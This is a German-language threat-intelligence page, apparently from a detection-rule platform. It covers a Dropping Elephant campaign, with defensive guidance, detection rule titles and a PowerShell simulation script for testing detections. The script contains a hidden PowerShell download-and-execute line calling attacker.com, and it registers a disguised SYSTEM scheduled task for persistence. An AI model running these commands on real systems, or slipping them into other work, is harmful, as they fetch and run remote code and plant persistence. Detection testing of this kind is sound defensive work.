Malware à la Mode: Ein Blick in die Loader-Kette des Dropping Elephant
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Eine raffinierte Kampagne, die Dropping Elephant zugeschrieben wird, verwendet China-Themen-Köderdokumente, um einen aktualisierten, speicherresidenten Remote-Access-Trojaner zu liefern. Der Einbruch stützt sich auf DLL-Sideloading über eine legitime Microsoft-Binärdatei und den Donut-Shellcode-Loader, um eine Plattenspeicher-basierte Erkennung zu vermeiden. Die endgültige Nutzlast nutzt ebenfalls fortgeschrittene Ausweichtechniken, einschließlich Control-Flow-Glättung und Laufzeit-API-Rekonstruktion.
Untersuchung
Forscher von Rapid7 entdeckten die Bedrohung während einer proaktiven Untersuchung, die mit einer bösartigen Windows-Verknüpfung begann, die sich als PDF-Dokument tarnte. Ihre Untersuchung verfolgte die Nutzlastkette vom initialen Staging auf chinagreenenergy[.]org über das DLL-Sideloading von APPWIZ.cpl bis zur Ausführung eines speicherresidenten RAT. Die Code-Analyse mit Diaphora bestätigte eine gemeinsame Abstammung mit früheren Proben von Dropping Elephant, trotz umfangreicher Umgestaltungen.
Abwehrmaßnahmen
Verteidiger sollten Verhaltensdetektionen priorisieren, wie z.B. Verknüpfungsdateien, die PowerShell ausführen, und verdächtiges Nutzlast-Staging in C:UsersPublic. Das Überwachen von geplanten Aufgaben mit ungewöhnlichen Namen und das Erkennen von DLL-Sideloading aus unerwarteten Verzeichnissen ist ebenfalls wichtig. Darüber hinaus benötigen Endpunktverteidigungen Sichtbarkeit auf Speicherebene, um Manipulationen mit AMSI, WLDP und ETW zu erkennen.
Reaktion
Wenn diese Aktivität entdeckt wird, sollten betroffene Systeme sofort isoliert werden, um weiteren Kommando- und Kontrollverkehr zu unterbrechen. Führen Sie Speicherforensik durch, um den injizierten RAT zu identifizieren und geplante Aufgaben auf Persistenz zu überprüfen. Netzwerkprotokolle sollten ebenfalls auf unbefugten HTTPS-Verkehr zu den bekannten C2-Domains und auf Anzeichen von Dateiexfiltration überprüft werden.
Angriffsablauf
Erkennungen
Möglicher Versuch von Domain-Kommunikation über IP-Suche (via dns)
Ansehen
Ungewöhnliche Codepage-Ausführungsänderung (via cmdline)
Ansehen
Verdächtige geplante Aufgabe (via audit)
Ansehen
Verdächtige Ausführung aus öffentlichem Benutzerprofil (via process_creation)
Ansehen
Vcruntime140-Dynamikbibliothek von verdächtigem Verzeichnis geladen (via image_load)
Ansehen
Verdächtige Dateien im öffentlichen Benutzerprofil (via file_event)
Ansehen
Erkennung der Dropping Elephant-Malware-Kampagne [Windows-Netzwerkverbindung]
Ansehen
Bösartiges DLL-Sideloading über Fondue.exe [Windows-Datei-Ereignis]
Ansehen
Erkennung der Dropping Elephant Malware-Kampagne über Verknüpfung und Sideloading [Windows-Prozess-Erstellung]
Ansehen
Simulationsausführung
Voraussetzung: Der Telemetrie- & Grundlinienvorkontrolle muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Gegnertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, genau die Telemetrie zu generieren, die von der Erkennungsmethode erwartet wird.
-
Angriffsnarrativ & Befehle: Der Gegner zielt darauf ab, Persistenz zu schaffen und einen Downloader auszuführen. Um standardmäßige E-Mail-Filter zu umgehen, verwenden sie eine Verknüpfungsdatei mit dem Namen
GRES3001.lnkdie wie ein PDF erscheint. Beim Klicken ruft sieconhost.exeauf, um ein PowerShell-Skript auszuführen. Gleichzeitig schaffen sie Persistenz, indem sie eine geplante Aufgabe mit dem NamenGoogleErrorReporterstellen, die so konzipiert ist, dass sieFondue.exeaus einem öffentlichen Verzeichnis ausführt, maskiert als legitimer Google-Fehlerbericht um eine zufällige Begutachtung zu umgehen. -
Regressionstestskript:
# 1. Simulieren des Shortcut/Conhost-Verhaltens # Wir simulieren die Ausführung von conhost.exe mit dem speziellen String in der Befehlszeile Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" # Hinweis: Um die 'CommandLine enthält GRES3001.lnk' Regel strikt zu erfüllen, simulieren wir den Prozessaufruf, als käme er von dieser Datei. # Da wir nicht leicht den Namen des übergeordneten Prozesses in einem einfachen Skript fälschen können, simulieren wir den erwarteten Befehlszeilenstring. Write-Host "[!] Simulieren der GRES3001.lnk-Auslösung..." $SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Schadsoftware geladen'" # In einer realen Umgebung würde das 'CommandLine'-Feld in Sysmon den Zielstring enthalten. # 2. Simulieren der geplanten Aufgabe und side-loading von Fondue.exe Write-Host "[!] Simulieren der GoogleErrorReport geplanten Aufgabe..." New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy-Payload" $TaskName = "GoogleErrorReport" $Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe" Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "Simulierte Dropping Elephant Aufgabe" -User "SYSTEM" -Force Write-Host "[+] Simulation Abgeschlossen. Prüfen Sie SIEM auf Alarmmeldungen." -
Aufräumbefehle:
# Entfernen der Dummy-Malware-Binärdatei Remove-Item -Path "C:UsersPublicFondue.exe" -Force # Entfernen der bösartigen geplanten Aufgabe Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false Write-Host "[+] Aufräumen Abgeschlossen."